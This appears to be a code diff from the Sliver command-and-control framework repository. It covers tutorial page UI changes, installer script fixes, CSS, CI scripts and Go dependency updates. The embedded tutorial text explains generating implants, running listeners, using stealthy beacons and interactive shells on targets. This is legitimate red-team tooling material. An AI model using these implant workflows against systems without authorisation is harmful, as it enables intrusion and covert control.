return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-large";
} else {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible rounded-large";
}
}, [theme]);
const listboxClasses =
"flex flex-col gap-1 overflow-visible bg-transparent p-0";
const renderFilterInput = (className?: string) => (
<SearchField
aria-label="Filter tutorials"
className={className}
fullWidth
variant="secondary"
value={filterValue}
onChange={setFilterValue}
>
<SearchField.Group>
<SearchField.SearchIcon>
<FontAwesomeIcon icon={faSearch} />
</SearchField.SearchIcon>
<SearchField.Input placeholder="Filter..." />
{filterValue.length > 0 ? (
<SearchField.ClearButton aria-label="Clear tutorial filter" />
) : null}
</SearchField.Group>
</SearchField>
);
if (isLoading || !tutorials || (hasNameQueryInPath && !name)) {
return <LoadingState />;
@@ -90,104 +104,146 @@ const TutorialsIndexPage: NextPage = () => {
return (
<>
<Head>
<title>Sliver Tutorial: {name}</title>
<title>{name ? `${name} · Sliver Tutorials` : "Sliver Tutorials"}</title>
</Head>
<div className="px-4 pt-4 lg:hidden">
<label
htmlFor="tutorials-mobile-selector"
className="block text-sm font-medium text-foreground"
>
Select a tutorial
</label>
<div className="mt-2">
<Input
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
</div>
<select
id="tutorials-mobile-selector"
className="mt-3 w-full rounded-lg border border-default-200 bg-content1 p-2 text-sm dark:border-default-100/60"
value={name}
onChange={(event) => {
const selectedName = event.target.value;
router.push({
pathname: "/tutorials",
query: selectedName ? { name: selectedName } : undefined,
});
}}
>
<option value="">Browse tutorials…</option>
{mobileTutorials.map((tutorial) => (
<option key={tutorial.name} value={tutorial.name}>
{tutorial.name}
</option>
))}
</select>
</div>
<div className="grid grid-cols-1 gap-6 lg:grid-cols-12 lg:gap-8">
<aside className="hidden lg:block lg:col-span-3">
<div className="sticky top-16 ml-4 flex flex-col gap-3">
<Input
className="mt-2"
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
<ScrollShadow className="max-h-[calc(100vh-6rem)] sliver-scrollbar overflow-y-auto pr-1 rounded-large">
<Listbox
aria-label="Toolbox Menu"
className={listboxClasses}
itemClasses={{
base: "px-3 first:rounded-t-large last:rounded-b-large rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{visibleTutorials.map((tutorial) => (
<ListboxItem
key={tutorial.name}
onClick={() => {
router.push({
pathname: "/tutorials",
query: { name: tutorial.name },
});
}}
>
{tutorial.name}
</ListboxItem>
))}
</Listbox>
</ScrollShadow>
<div className="mx-auto w-full max-w-[90rem] px-4 pt-8 sm:px-6 lg:px-8 lg:pt-10">
<div className="mb-8 lg:hidden">
<div className="flex items-center gap-3">
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faGraduationCap} />
</span>
<div>
<p className="text-sm font-medium text-foreground">Tutorials</p>
<p className="text-xs text-muted">Follow a guided workflow</p>
</div>
</div>
</aside>
<div className="px-4 pb-8 lg:col-span-9 lg:px-8">
{name !== "" ? (
<Card className="mt-2">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody>
<div className="mt-5">{renderFilterInput()}</div>
<label
htmlFor="tutorials-mobile-selector"
className="mt-4 block text-sm font-medium text-foreground"
>
Tutorial
</label>
<select
id="tutorials-mobile-selector"
className="mt-2 w-full rounded-2xl border border-transparent bg-surface-secondary px-3 py-2.5 text-sm text-foreground outline-none focus:border-accent"
value={name}
onChange={(event) => {
const selectedName = event.target.value;
router.push({
pathname: "/tutorials",
query: selectedName ? { name: selectedName } : undefined,
});
}}
>
<option value="">Browse tutorials…</option>
{mobileTutorials.map((tutorial) => (
<option key={tutorial.name} value={tutorial.name}>
{tutorial.name}
</option>
))}
</select>
</div>
<div className="grid min-w-0 grid-cols-1 gap-8 lg:grid-cols-[17rem_minmax(0,1fr)] lg:gap-10">
<aside className="sliver-sticky-sidebar hidden border-r border-separator/70 pr-6 lg:block">
<div className="flex h-full min-h-0 flex-col gap-5">
<div className="flex items-center gap-3 px-1">
<span className="flex size-9 items-center justify-center rounded-2xl bg-surface-secondary text-accent">
<FontAwesomeIcon icon={faGraduationCap} />
</span>
<div>
<p className="text-sm font-medium text-foreground">Tutorials</p>
<p className="text-xs text-muted">
{tutorials.tutorials.length} chapters
</p>
</div>
</div>
{renderFilterInput()}
<ScrollShadow className="sliver-scrollbar min-h-0 flex-1 overscroll-contain overflow-y-auto pr-2">
<ListBox
aria-label="Tutorials"
className={listboxClasses}
selectedKeys={name ? [name] : []}
selectionMode="single"
>
{visibleTutorials.map((tutorial) => (
<ListBox.Item
key={tutorial.name}
id={tutorial.name}
href={`/tutorials/?name=${encodeURIComponent(tutorial.name)}`}
textValue={tutorial.name}
className={`min-h-10 rounded-xl px-3 py-2 text-sm ${
tutorial.name === name
? "bg-surface font-medium text-foreground shadow-surface"
: "text-muted"
}`}
>
{tutorial.name}
</ListBox.Item>
))}
</ListBox>
</ScrollShadow>
</div>
</aside>
<div
key={name || "tutorials-overview"}
className="min-w-0 pb-16 lg:pr-4"
>
{name !== "" ? (
<article className="mx-auto w-full max-w-4xl">
<header className="mb-8 border-b border-separator/70 pb-8">
<p className="text-sm font-medium text-accent">Tutorial</p>
<h1 className="mt-2 text-balance text-4xl font-semibold tracking-tight text-foreground sm:text-5xl">
{name}
</h1>
</header>
<MarkdownViewer
key={name}
markdown={markdown || ""}
demoteTopLevelHeading
/>
</CardBody>
</Card>
) : (
<div className="mt-8 text-center text-2xl text-foreground/90">
Welcome to the Sliver Tutorials!
<div className="mt-2 text-xl text-default-500">
Please select a chapter
</article>
) : (
<div className="mx-auto w-full max-w-5xl pt-4 lg:pt-8">
<h1 className="text-sm font-medium text-accent">
Guided learning
</h1>
<p className="mt-4 max-w-2xl text-lg leading-8 text-muted">
Follow practical walkthroughs covering setup, sessions,
staging, pivots, scripting, and post-exploitation workflows.
</p>
<div className="mt-10 grid gap-4 sm:grid-cols-2">
{tutorials.tutorials.slice(0, 6).map((tutorial) => (
<Card key={tutorial.name} className="h-full">
<Card.Header>
<Card.Title>{tutorial.name}</Card.Title>
<Card.Description>
Continue through this guided Sliver workflow.
</Card.Description>
</Card.Header>
<Card.Footer className="mt-auto">
<Button
variant="ghost"
onPress={() => {
router.push({
pathname: "/tutorials",
query: { name: tutorial.name },
});
}}
>
Start tutorial
<FontAwesomeIcon icon={faChevronRight} />
</Button>
</Card.Footer>
</Card>
))}
</div>
</div>
</div>
)}
)}
</div>
</div>
</div>
</>
@@ -59,14 +59,16 @@ First, install the sliver-py extension using pip.
pip3 install sliver-py
```
Since our extension is essentially going to be another client connection to the sliver server, you’ll also need to enable multiplayer mode and generate a new profile
Since our extension is essentially going to be another client connection to the sliver server, you’ll also need to enable multiplayer mode and generate a new profile.
Current Sliver releases default to a WireGuard-protected multiplayer listener. Because this tutorial uses a third-party Python client, we’ll force direct multiplayer mode so the profile only contains the plain gRPC/mTLS settings:
```bash
[server] sliver > multiplayer
[server] sliver > multiplayer --disable-wg
[*] Multiplayer mode enabled!
[server] sliver > new-operator -n tester -l 127.0.0.1
[server] sliver > new-operator -n tester -l 127.0.0.1 --permissions all --disable-wg
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/tester/tools/tester_127.0.0.1.cfg
+55 -12
View File
@@ -9,20 +9,31 @@ if [[ "$EUID" -ne 0 ]];then
exit
fi
# Only include minisign in the package list when it isn't already on PATH.
# The minisign apt package isn't in the default Ubuntu 22.04 repos, but
# users often install it manually to /usr/local/bin first; without this
# guard the apt-get call below fails the whole script (issue #2239).
MINISIGN_PKG=(minisign)
if command -v minisign &> /dev/null; then
MINISIGN_PKG=()
fi
# Determine OS type
# Debian-based OS (Debian, Ubuntu, etc)
if command -v apt-get &> /dev/null; then
echo "Installing dependencies using apt..."
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
minisign curl build-essential git
INSTALLER=(apt-get install -yqq)
"${MINISIGN_PKG[@]}" curl build-essential git
INSTALLER=(apt-get install -yqq)
elif command -v yum &> /dev/null; then # Redhat-based OS (Fedora, CentOS, RHEL)
echo "Installing dependencies using yum..."
yum -y install minisign curl make git
INSTALLER=(yum -y)
yum -y install "${MINISIGN_PKG[@]}" curl make git
INSTALLER=(yum -y)
elif command -v pacman &>/dev/null; then # Arch-based (Manjaro, Garuda, Blackarch)
echo "Installing dependencies using pacman..."
pacman --noconfirm -S minisign
echo "Installing dependencies using pacman..."
if [[ ${#MINISIGN_PKG[@]} -gt 0 ]]; then
pacman --noconfirm -S "${MINISIGN_PKG[@]}"
fi
INSTALLER=(pacman --noconfirm -S)
else
echo "Unsupported OS, exiting"
@@ -31,9 +42,9 @@ fi
# Verify if necessary tools are installed
for cmd in curl awk minisign; do
if ! command -v "$cmd" &> /dev/null; then
if ! command -v "$cmd" &> /dev/null; then
echo "$cmd could not be found, installing..."
${INSTALLER[@]} "$cmd"
${INSTALLER[@]} "$cmd"
fi
done
@@ -42,6 +53,34 @@ echo "Running from $(pwd)"
echo "Using Minisign public key..."
stop_existing_sliver_daemon() {
local existing_sliver_server=""
if test -x /root/sliver-server; then
existing_sliver_server="/root/sliver-server"
elif command -v sliver-server &> /dev/null; then
existing_sliver_server="$(command -v sliver-server)"
fi
if [[ -z "$existing_sliver_server" ]]; then
return 0
fi
echo "Existing Sliver server install detected at $existing_sliver_server"
if command -v systemctl &> /dev/null && test -f /etc/systemd/system/sliver.service; then
if systemctl is-active --quiet sliver; then
echo "Stopping the Sliver systemd service before upgrade..."
systemctl stop sliver
fi
fi
if pgrep -f "${existing_sliver_server} daemon" > /dev/null 2>&1; then
echo "Stopping the running Sliver daemon before upgrade..."
pkill -f "${existing_sliver_server} daemon"
fi
}
# Download and Unpack Sliver Server
ARCH="$(uname -m)"
case "$ARCH" in
@@ -79,6 +118,8 @@ echo "Verifying signatures ..."
minisign -Vm "/root/$SLIVER_SERVER" -x "/root/$SLIVER_SERVER.minisig" -P "$SLIVER_MINISIGN_PUB_KEY"
minisign -Vm "/root/$SLIVER_CLIENT" -x "/root/$SLIVER_CLIENT.minisig" -P "$SLIVER_MINISIGN_PUB_KEY"
stop_existing_sliver_daemon
if test -f "/root/$SLIVER_SERVER"; then
echo "Moving the Sliver server executable to /root/sliver-server..."
mv "/root/$SLIVER_SERVER" /root/sliver-server
@@ -128,8 +169,6 @@ WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
echo "Starting the Sliver service..."
systemctl start sliver # Start the service now
# Generate local configs
echo "Generating local configs ..."
@@ -137,7 +176,7 @@ echo "Generating local configs ..."
# Generate local configs
echo "Generating operator configs ..."
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --permissions all --save /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost 127.0.0.1 --permissions all --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
@@ -146,7 +185,11 @@ for USER_DIR in "${USER_DIRS[@]}"; do
if id -u "$USER" >/dev/null 2>&1; then
echo "Generating operator configs for user $USER..."
mkdir -p "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost localhost --permissions all --save "$USER_DIR/.sliver-client/configs"
/root/sliver-server operator --name "$USER" --lhost 127.0.0.1 --permissions all --save "$USER_DIR/.sliver-client/configs"
chown -R "$USER":"$(id -gn "$USER")" "$USER_DIR/.sliver-client/"
fi
done
echo "Reloading systemd and starting the Sliver service..."
systemctl daemon-reload
systemctl start sliver
+1 -1
View File
@@ -1 +1 @@
{"tutorials":[{"name":"1 - Getting Started","content":"`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n mkdir Make a directory\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount Get information on mounted filesystems (only for Windows and Linux)\nscreenshot Take a screenshot (only for Windows and Linux)\nmemfiles List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ==========Line truncated
{"tutorials":[{"name":"1 - Getting Started","content":"`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n mkdir Make a directory\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount Get information on mounted filesystems (only for Windows and Linux)\nscreenshot Take a screenshot (only for Windows and Linux)\nmemfiles List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ==========Line truncated
+85 -16
View File
@@ -1,24 +1,44 @@
@import "tailwindcss";
@import "@heroui/styles";
@config "../tailwind.config.js";
:root {
--font-mono: "Fira Code", ui-monospace, SFMono-Regular, Menlo, Monaco,
Consolas, "Liberation Mono", "Courier New", monospace;
--sliver-navbar-height: 4rem;
--sliver-footer-height: 4.75rem;
}
/* Keep layout width stable when page content toggles vertical scrolling. */
html,
body {
scrollbar-gutter: stable both-edges;
}
/*
Keep html as the single scrolling element. Setting overflow on both html
and body breaks sticky sidebar behavior on docs/tutorial pages.
*/
/* Keep html as the single page scroller so content can pass beneath the shell. */
html {
overflow-y: scroll;
scroll-padding-top: calc(var(--sliver-navbar-height) + 1.5rem);
scroll-padding-bottom: calc(
var(--sliver-footer-height) + env(safe-area-inset-bottom)
);
}
body {
min-height: 100dvh;
background:
radial-gradient(circle at 12% -10%, color-mix(in oklab, var(--accent) 12%, transparent), transparent 28rem),
radial-gradient(circle at 88% 4%, color-mix(in oklab, var(--surface-tertiary) 55%, transparent), transparent 26rem),
var(--background);
}
.sliver-page-content {
padding-bottom: calc(
var(--sliver-footer-height) + env(safe-area-inset-bottom)
);
}
.sliver-fixed-footer {
padding-bottom: env(safe-area-inset-bottom);
}
::selection {
background: color-mix(in oklab, var(--accent) 32%, transparent);
}
/* Fallback for engines that do not support scrollbar-gutter. */
@@ -36,6 +56,22 @@ html {
html {
overflow-y: scroll;
}
.sliver-sticky-sidebar {
position: sticky;
top: calc(var(--sliver-navbar-height) + 2.5rem);
align-self: start;
height: calc(
100dvh - var(--sliver-navbar-height) - var(--sliver-footer-height) -
env(safe-area-inset-bottom) - 3.5rem
);
}
}
@media (min-width: 768px) {
:root {
--sliver-footer-height: 3.5rem;
}
}
code,
@@ -49,7 +85,7 @@ pre {
.sliver-scrollbar {
scrollbar-width: thin;
scrollbar-color: rgba(148, 163, 184, 0.7) transparent;
scrollbar-color: color-mix(in oklab, var(--muted) 58%, transparent) transparent;
scrollbar-gutter: stable;
}
@@ -62,18 +98,35 @@ pre {
}
.sliver-scrollbar::-webkit-scrollbar-thumb {
background-color: rgba(148, 163, 184, 0.7);
background-color: color-mix(in oklab, var(--muted) 58%, transparent);
border-radius: 9999px;
border: 2px solid transparent;
background-clip: content-box;
}
.dark .sliver-scrollbar {
scrollbar-color: rgba(79, 97, 125, 0.8) transparent;
.sliver-grid-surface {
background-image:
linear-gradient(color-mix(in oklab, var(--separator) 35%, transparent) 1px, transparent 1px),
linear-gradient(90deg, color-mix(in oklab, var(--separator) 35%, transparent) 1px, transparent 1px);
background-size: 32px 32px;
mask-image: linear-gradient(to bottom, black, transparent 92%);
}
.dark .sliver-scrollbar::-webkit-scrollbar-thumb {
background-color: rgba(79, 97, 125, 0.8);
.sliver-terminal-frame .ap-wrapper {
border-radius: 0 !important;
}
.sliver-asciinema-bottom-aligned .ap-wrapper {
align-items: flex-end;
justify-content: flex-start;
}
.sliver-terminal-frame .asciinema-player {
background: #111315;
}
.sliver-asciinema-controls-hidden .ap-control-bar {
display: none !important;
}
.asciinema-player {
@@ -84,3 +137,19 @@ pre {
.asciinema-player .asciinema-terminal {
max-width: 100% !important;
}
.markdown-body {
color: var(--foreground);
}
.markdown-body :where(h2, h3, h4) {
scroll-margin-top: calc(var(--sliver-navbar-height) + 1.5rem);
}
@media (prefers-reduced-motion: reduce) {
*,
*::before,
*::after {
scroll-behavior: auto !important;
}
}
+2 -4
View File
@@ -1,11 +1,9 @@
const { heroui } = require("@heroui/theme");
/** @type {import('tailwindcss').Config} */
module.exports = {
content: [
"./components/**/*.{js,ts,jsx,tsx,mdx}",
"./app/**/*.{js,ts,jsx,tsx,mdx}",
"./node_modules/@heroui/theme/dist/**/*.{js,ts,jsx,tsx}",
"./pages/**/*.{js,ts,jsx,tsx,mdx}",
],
theme: {
extend: {
@@ -16,5 +14,5 @@ module.exports = {
},
},
darkMode: "class",
plugins: [heroui()],
plugins: [],
};
+7
View File
@@ -367,6 +367,13 @@ try {
}
if (-not $SkipGenerate) {
# The package tests above no longer need their Go build cache. Reclaim it
# before the cross-platform generation matrix starts so long CI runs do
# not exhaust the runner's disk while retaining the implant compiler cache.
Invoke-TestStep -Name "clean Go build cache" -Action {
Invoke-ExternalCommand -FilePath "go" -Arguments @("clean", "-cache")
}
$generateGoMaxProcs = if ($env:SLIVER_GENERATE_GOMAXPROCS) { $env:SLIVER_GENERATE_GOMAXPROCS } else { "2" }
$generateGoP = if ($env:SLIVER_GENERATE_GO_P) { $env:SLIVER_GENERATE_GO_P } else { "1" }
$generateTestParallel = if ($env:SLIVER_GENERATE_TEST_PARALLEL) { $env:SLIVER_GENERATE_TEST_PARALLEL } else { "1" }
+4
View File
@@ -234,6 +234,10 @@ fi
## Server generate
if [ "$SKIP_GENERATE" -eq 0 ]; then
# The package tests above no longer need their Go build cache. Reclaim it
# before the cross-platform generation matrix starts so long CI runs do not
# exhaust the runner's disk while retaining the implant compiler cache.
run_test_cmd "clean Go build cache" go clean -cache || exit 1
export GOPROXY=off
# Generate tests are memory intensive (garble/c-shared cross-builds). Keep
# parallelism conservative by default to avoid OOM kills on smaller systems.
+36 -44
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.25.8
go 1.26.6
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
@@ -10,10 +10,9 @@ replace github.com/reeflective/console => github.com/moloch--/console v0.0.0-202
require (
charm.land/bubbles/v2 v2.0.0
charm.land/fantasy v0.8.1
charm.land/glamour/v2 v2.0.0
charm.land/glamour/v2 v2.0.1
charm.land/huh/v2 v2.0.3
charm.land/lipgloss/v2 v2.0.2
charm.land/lipgloss/v2 v2.0.4
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
@@ -40,16 +39,17 @@ require (
github.com/mattn/go-sqlite3 v1.14.32
github.com/miekg/dns v1.1.70
github.com/moloch--/asciicast v0.1.1
github.com/moloch--/memmod v0.0.0-20230225130813-fd77d905589e
github.com/moloch--/sgn v0.0.5
github.com/ncruces/go-sqlite3 v0.30.4
github.com/nikoksr/notify v1.5.0
github.com/openai/openai-go/v2 v2.7.1
github.com/reeflective/console v0.1.25
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.4
github.com/sliverarmory/beignet v0.0.3
github.com/sliverarmory/malasada v0.0.3
github.com/sliverarmory/reflektor v0.0.2
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
@@ -59,22 +59,23 @@ require (
github.com/ulikunitz/xz v0.5.15
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
golang.org/x/crypto v0.49.0
golang.org/x/crypto v0.53.0
golang.org/x/exp v0.0.0-20260218203240-3dfff04db8fa
golang.org/x/mod v0.33.0
golang.org/x/net v0.52.0
golang.org/x/sys v0.42.0
golang.org/x/term v0.41.0
golang.org/x/text v0.35.0
golang.org/x/mod v0.37.0
golang.org/x/net v0.56.0
golang.org/x/sys v0.46.0
golang.org/x/term v0.44.0
golang.org/x/text v0.40.0
golang.zx2c4.com/wireguard v0.0.0-20250521234502-f333402bd9cb
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20241231184526-a9ab2273dd10
google.golang.org/api v0.269.0
google.golang.org/grpc v1.79.3
google.golang.org/grpc v1.82.1
google.golang.org/protobuf v1.36.11
gopkg.in/natefinch/lumberjack.v2 v2.2.1
gorm.io/driver/mysql v1.6.0
gorm.io/driver/postgres v1.6.0
gorm.io/driver/postgres v1.6.2
gorm.io/driver/sqlite v1.6.0
gorm.io/gorm v1.31.0
gorm.io/gorm v1.31.2
gvisor.dev/gvisor v0.0.0-20250503011706-39ed1f5ac29c
maunium.net/go/mautrix v0.26.0
modernc.org/sqlite v1.39.0
@@ -93,7 +94,7 @@ require (
cloud.google.com/go/storage v1.60.0 // indirect
filippo.io/hpke v0.4.0 // indirect
firebase.google.com/go/v4 v4.18.0 // indirect
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.31.0 // indirect
github.com/GoogleCloudPlatform/opentelemetry-operations-go/detectors/gcp v1.32.0 // indirect
github.com/GoogleCloudPlatform/opentelemetry-operations-go/exporter/metric v0.55.0 // indirect
github.com/GoogleCloudPlatform/opentelemetry-operations-go/internal/resourcemapping v0.55.0 // indirect
github.com/MicahParks/keyfunc v1.9.0 // indirect
@@ -101,7 +102,6 @@ require (
github.com/RocketChat/Rocket.Chat.Go.SDK v0.0.0-20250718055228-285ecf400b48 // indirect
github.com/appleboy/go-fcm v1.2.6 // indirect
github.com/atc0005/go-teams-notify/v2 v2.14.0 // indirect
github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.7.5 // indirect
github.com/aws/aws-sdk-go-v2/credentials v1.19.11 // indirect
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.18.19 // indirect
github.com/aws/aws-sdk-go-v2/internal/configsources v1.4.19 // indirect
@@ -125,11 +125,10 @@ require (
github.com/caarlos0/go-reddit/v3 v3.0.1 // indirect
github.com/cenkalti/backoff/v4 v4.3.0 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/charmbracelet/anthropic-sdk-go v0.0.0-20260223140439-63879b0b8dab // indirect
github.com/charmbracelet/harmonica v0.2.0 // indirect
github.com/charmbracelet/ultraviolet v0.0.0-20260205113103-524a6607adb8 // indirect
github.com/charmbracelet/x/exp/ordered v0.1.0 // indirect
github.com/charmbracelet/x/exp/slice v0.0.0-20250904123553-b4e2667e5ad5 // indirect
github.com/charmbracelet/x/json v0.2.0 // indirect
github.com/charmbracelet/x/termios v0.1.1 // indirect
github.com/charmbracelet/x/windows v0.2.2 // indirect
github.com/clipperhouse/displaywidth v0.11.0 // indirect
@@ -146,7 +145,7 @@ require (
github.com/fatih/structs v1.1.0 // indirect
github.com/felixge/httpsnoop v1.0.4 // indirect
github.com/fsnotify/fsnotify v1.9.0 // indirect
github.com/go-jose/go-jose/v4 v4.1.3 // indirect
github.com/go-jose/go-jose/v4 v4.1.4 // indirect
github.com/go-lark/lark v1.16.0 // indirect
github.com/go-logr/logr v1.4.3 // indirect
github.com/go-logr/stdr v1.2.2 // indirect
@@ -154,8 +153,6 @@ require (
github.com/go-playground/universal-translator v0.18.1 // indirect
